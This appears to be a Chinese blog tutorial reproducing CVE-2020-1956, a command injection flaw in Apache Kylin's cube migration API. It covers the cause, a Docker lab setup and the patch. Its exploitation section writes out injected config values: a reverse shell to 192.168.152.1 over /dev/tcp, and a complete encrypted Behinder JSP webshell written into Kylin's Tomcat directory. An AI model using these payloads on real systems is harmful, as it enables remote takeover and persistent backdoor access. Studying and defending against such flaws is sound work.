Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)
Apache Kylin远程代码执行(CVE-2020-1956)
简介
Apache Kylin 是美国 Apache 软件基金会的一款开源的分布式分析型数据仓库。该产品主要提供 Hadoop/Spark 之上的 SQL 查询接口及多维分析(OLAP)等功能。
Apache Kylin 中的静态 API 存在安全漏洞。攻击者可借助特制输入利用该漏洞在系统上执行任意OS命令。以下产品及版本受到影响:Apache Kylin 2.3.0版本至2.3.2版本,2.4.0版本至2.4.1版本,2.5.0版本至2.5.2版本,2.6.0版本至2.6.5版本,3.0.0-alpha版本,3.0.0-alpha2版本,3.0.0-beta版本,3.0.0版本,3.0.1版本。
漏洞描述
在Kylin中存在一些restful API,可以将操作系统命令与用户输入的字符串连接起来,由于未对用户输入内容做
合理校验,导致攻击者可以在未经验证的情况下执行任意系统命令。
影响范围
Kylin 2.3.0-2.3.2
Kylin 2.4.0-2.4.1
Kylin 2.5.0-2.5.2
Kylin 2.6.0-2.6.5
Kylin 3.0.0-alpha
Kylin 3.0.0-alpha2
Kylin 3.0.0-beta
Kylin 3.0.0-3.0.1
环境搭建
Kylin 的环境搭建包括 Hadoop、Hbase、Spark、Kafka 等一系列的组件,安装较为复杂。但是Kylin 官网文档 http://kylin.apache.org/cn/docs/install/kylin_docker.html 提供了 Docker 环境的启动指南,分别执行以下两个命令即可一键启动。
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
systemctl start docker
docker pull vulfocus/cve-2020-1956
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
vulfocus/cve-2020-1956
访问镜像地址http://192.168.152.133:7070/kylin/login
默认登陆账号密码admin/KYLIN
漏洞分析
漏洞位于/src/main/java/org/apache/kylin/rest/service/CubeService.java文件,漏洞点在 CubeService.java 中的 migrateCube() 函数,漏洞原因是使用 String.format() 格式化待执行的系统命令且未做过滤,导致命令内容可被注入,涉及的参数包括 srcCfgUri、dstCfgUri、projectName三个。
Migrate Cube
查看官方文档:http://kylin.apache.org/cn/docs/howto/howto_use_restapi.html#migrate-cube
Migrate Cube是一个接口(POST /kylin/api/cubes/{cube}/{project}/migrate),接口中显示分别需要 cube 和 project两个路径入参,回看 kylin /models页面上的表格里,已经显示了 cube name 和对应的 Project。
我们选择第一行记录中的cube:kylin_sales_cube 和对应的 Project:learn_kylin 作为路径参数,获取登录Cookie,尝试如下POC。
返回报错信息
漏洞利用
漏洞利用条件
1、登录系统
2、修改配置
进入system选项卡,在界面上的 Set Config中,把 srcCfgUri :kylin.tool.auto-migrate-cube.src-config配置为 /home/admin/apachekylin-
3.0.1-bin-hbase1x/conf/kylin.propertie,将 destCfgUri :kylin.tool.auto-migrate-cube.dest-config 配置为
/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/success; echo ;注意其中注入
了 touch /tmp/success 的系统命令。
重新repeater,返回200
进入容器内查看,已经成功写入。
反弹shell
将 kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube learn_kylin true
true true true; bash -i >& /dev/tcp/192.168.152.1/1521 0>&1; echo ; 。其中注入的命令从 touch /tmp/success 换成了
反弹 shell 的命令 bash -i >& /dev/tcp/192.168.152.1/1521 0>&1,反弹到ip为 192.168.152.1的主机上。
开启监听
重新repeater,无返回信息
但是宿主机192.168.152.1已经成功接收到反弹回来的shell
写入冰蝎shell
在界面Set Config中,把 srcCfgUri :kylin.tool.auto-migrate-cube.src-config配置为 /home/admin/apachekylin-
3.0.1-bin-hbase1x/conf/kylin.propertie,
将 destCfgUri :kylin.tool.auto-migrate-cube.dest-config 配置为 /tmp/kylin.properties kylin_sales_cube
learn_kylin true true true true; echo '<%@page import="java.util.,javax.crypto.,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>'
/home/admin/apache-kylin-3.0.1-bin-hbase1x/tomcat/webapps/kylin/shell.jsp; echo
再次repeater,返回200
查看容器,成功写入shell.jsp
漏洞修复
1.官方已发布最新版本修复了此漏洞,用户应尽快升级到2.6.6或3.0.2版本,下载链接:
http://kylin.apache.org/cn/download/
2.临时措施:由于该漏洞的入口为migrateCube,可将kylin.tool.auto-migrate-cube.enabled设置为false以禁用
命令执行。
参考链接
1.https://paper.seebug.org/1237/
2.https://kylin.apache.org/docs/security.html
Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)的更多相关文章
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- [CVE-2020-1956] Apache Kylin远程命令执行漏洞复现
Apache Kylin是一个开源的.分布式的分析型数据仓库,提供Hadoop/Spark之上的 SQL 查询接口及多维分析(OLAP)能力以支持超大规模数据,最初由 eBay 开发并贡献至开源社区. ...
- Apache Unomi 远程代码执行漏洞复现(CVE-2020-13942)
一.漏洞描述 Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验.在Apa ...
- Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现
Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 一. 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- Apache SSI 远程命令执行漏洞复现
Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...
- Apache Log4j 远程代码执行漏洞源码级分析
漏洞的前因后果 漏洞描述 漏洞评级 影响版本 安全建议 本地复现漏洞 本地打印 JVM 基础信息 本地获取服务器的打印信息 log4j 漏洞源码分析 扩展:JNDI 危害是什么? GitHub 项目 ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- IIS6远程代码执行漏洞复现CVE-2017-7269
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...
随机推荐
- 剑指Offer(四):重建二叉树
一.前言 刷题平台:牛客网 二.题目 输入某二叉树的前序遍历和中序遍历的结果,请重建出该二叉树.假设输入的前序遍历和中序遍历的结果中都不含重复的数字.例如输入前序遍历序列{1,2,4,7,3,5,6, ...
- P4821 [中山市选]生成树
题目链接 我们可以看一下题目中给的这张图. 首先,树是没有环的,所以我们要把所有的环上的边都删去一条. 我们可以现在每个五边形上删去一条边. 但删完之后我们会发现,里面还有一圈. 这时候,我们就要在这 ...
- Go 接口类型
接口作用 Go语言中的接口是一种类型,类似于Python中的抽象基类. Go语言中使用接口来体现多态,是duck-type的一种体现. 如,只要一个东西会叫,会走,那么我们就可以将它定义为一个动物的接 ...
- nginx的变量系统
本来想写一下nginx的脚本引擎的,但是看起来实在是有点庞大,一时间还不知道该从哪里写比较好.就先写一下他的变量系统吧,这是脚本引擎非常重要的组成部分. 首先为了表述清楚先规定几个术语吧 内置变量:n ...
- 第一个月多测师讲解__项目讲解以及注意事项(肖sir)
一.目的讲解流程:(讲述业务时长10-15分钟为宜)1.自我介绍礼貌用语,姓名,籍贯,学校,个人技能,经验,表现,兴趣爱好等 ,1分钟 ,谢谢2.介绍项目的名字 ,项目的背景,(涉及什么架构)3.对项 ...
- Mac 每次都要执行source ~/.bash_profile 后,配置的环境变量才生效
问题: 自己在 ~/.bash_profile 中配置环境变量, 可是每次重启终端后配置的不生效.需要重新执行 : $source ~/.bash_profile后,才会生效. 原因: 自己是在bas ...
- day53 Pyhton 前端04
内容回顾: 盒子: 内边距:padding,解决内部矛盾,内边距的增加整个盒子也会增加 外边距:margin,解决外部矛盾,当来盒子都有外边距的时候,取两者最大值 边框:border border-c ...
- net core 微服务 快速开发框架 Viper 初体验2020-10-17
1.Viper是什么? Viper 是.NET平台下的Anno微服务框架的一个示例项目.入门简单.安全.稳定.高可用.全平台可监控.底层通讯可以随意切换thrift grpc. 自带服务发现.调用链追 ...
- centos8平台使用stress做压力测试
一,安装stress: 说明:el8的源里面还没有,先用el7的rpm包 [root@centos8 source]# wget https://download-ib01.fedoraproject ...
- appium_android-常见的问题
po模型的原则: 用公共方法代表UI所提供的功能 方法应该返回其他的PageObject或者返回用于断言的数据 同样的行为不同的结果可以建模为不同的方法 不要在方法内加断言 字段意义 不要暴露页面内部 ...